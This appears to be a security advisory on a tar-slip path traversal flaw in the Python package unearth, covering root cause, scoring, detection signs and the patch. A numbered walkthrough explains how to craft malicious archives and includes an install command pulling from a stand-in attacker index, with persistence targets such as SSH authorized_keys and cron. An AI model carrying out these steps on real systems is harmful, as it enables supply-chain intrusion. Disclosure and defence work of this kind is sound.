CVE-2026-73030: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-73030 is a path traversal ("Tar-Slip") vulnerability in the Python package unearth (by frostming) affecting all versions through 0.18.2. The flaw resides in the is_within_directory() function in src/unearth/preparer.py, which fails to normalize paths before validation, allowing ../ sequences and malicious symlinks in tar archives to escape the intended extraction directory. It was reported on July 28, 2026, patched on August 5, 2026 (commit 6c78164), and publicly disclosed on August 10, 2026. The vulnerability carries a CVSS v3.1 score of 8.1 (High) and a CVSS v4.0 score of 7.2 (High) (Github Advisory, Red Hat Bugzilla).

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). The is_within_directory() function uses Path(path).relative_to(directory) — a purely lexical operation — without first resolving the path via os.path.realpath(). This means a path like /dest/../escaped passes the containment check lexically but resolves outside /dest at the OS level. A second independent primitive exists in the _untar_archive() function: symlink members are extracted via tar._extract_member(member, path) without validating that the symlink's linkname stays within the destination directory, and without passing a filter argument — meaning Python 3.12+'s filter='data' protection is never invoked. An attacker crafts a malicious .tar.gz archive containing either ../-prefixed file entries or symlink members pointing outside the extraction root; when unearth processes this archive (e.g., during pdm add or sdist extraction), files are written to arbitrary filesystem locations accessible to the process (GitHub Issue #180, GitHub PR #181, Patch Commit).

Successful exploitation allows an attacker to write arbitrary files to any filesystem location accessible to the process running unearth, with no confidentiality impact but high integrity and availability impact. In a realistic attack scenario — such as a malicious package on a PyPI-compatible index consumed via pdm add — an attacker could overwrite cron jobs, SSH authorized keys, application configuration files, or other sensitive files, potentially achieving code execution under the process's user account. The CVSS v3.1 score reflects no confidentiality impact but high integrity and availability impact (Github Advisory, GitHub Issue #180).

A proof-of-concept exploit script (poc.py) was included in the original vulnerability report (GitHub Issue #180), demonstrating all four attack primitives: dot-dot traversal, symlink escape, sdist end-to-end, and full pdm add end-to-end exploitation. The NVD SSVC assessment classifies exploitation status as "poc" (proof-of-concept available). No evidence of active in-the-wild exploitation or threat actor attribution has been reported. The EPSS score is approximately 0.375% (31st percentile), and the vulnerability is not listed in the CISA KEV catalog (Github Advisory, GitHub Issue #180).

1. Craft a malicious tar archive (dot-dot primitive): Create a .tar.gz file containing a member with a path like ../pwned.txt. When unearth's is_within_directory() performs a lexical relative_to() check, the path passes validation but resolves outside the destination directory at write time.
2. Craft a malicious tar archive (symlink primitive): Alternatively, add a symlink member (e.g., link -> /tmp/outside) followed by a regular file member at link/payload. The symlink is extracted without linkname validation, and the subsequent file write follows the symlink to the attacker-controlled target path.
3. Host the malicious archive: Serve the crafted .tar.gz as a source distribution (sdist) on a PEP 503-compatible package index (e.g., a local HTTP server or a compromised/typosquatted PyPI package).
4. Trigger extraction: Cause the victim to install the malicious package using a tool that relies on unearth for sdist extraction, such as pdm add evil-package --index http://attacker.com/simple/. Unearth fetches and extracts the archive.
5. Achieve arbitrary file write: Files from the malicious archive are written to attacker-chosen locations (e.g., ~/.ssh/authorized_keys, /etc/cron.d/backdoor) accessible to the process, enabling persistence or code execution (GitHub Issue #180).

• File System: Unexpected files appearing outside the expected package extraction/cache directory (e.g., in ~, /tmp, /etc/cron.d/, ~/.ssh/); newly created or modified cron job files or SSH authorized_keys with unfamiliar content; files with names matching package sdist contents in unexpected locations.
• Logs: Package manager logs (e.g., PDM, pip) showing extraction of packages from untrusted or unfamiliar index URLs; warnings from unearth's logger matching the pattern "In the tar file %s the member %s -> %s points outside %s, skipping" (only present after patching — absence of this warning on unpatched versions is itself a risk indicator).
• Network: Outbound connections from the development or build host to unexpected external IPs or domains shortly after a package installation event; HTTP requests to non-standard or self-hosted PyPI index URLs.
• Process: Unexpected processes spawned by the package manager or build tool (e.g., curl, bash, python) following a pdm add or similar install command (GitHub Issue #180).

Update unearth to a version incorporating commit 6c78164 (merged August 5, 2026), which resolves both sides of is_within_directory() using os.path.realpath() and validates symlink linkname targets before extraction. If immediate patching is not possible: restrict filesystem permissions for the process running unearth to the minimum required directories; avoid installing packages from untrusted or third-party indexes; and on Python 3.12+, consider patching the extraction call to pass filter='data' to tarfile.extractall(). Red Hat has tracked this issue as a high-severity bug (Red Hat Bugzilla, Patch Commit).

The NixOS/nixpkgs project opened a tracking issue (#551406) referencing the fix shortly after the patch was merged. A follow-up issue (#185) was filed on August 12, 2026, noting that the initial fix (PR #181) was insufficient because os.makedirs() calls could still occur outside the extraction location, indicating ongoing community scrutiny of the patch completeness (GitHub PR #181). Red Hat's Product Security team filed a high-severity bug report via OSIDB automation on the day of disclosure (Red Hat Bugzilla).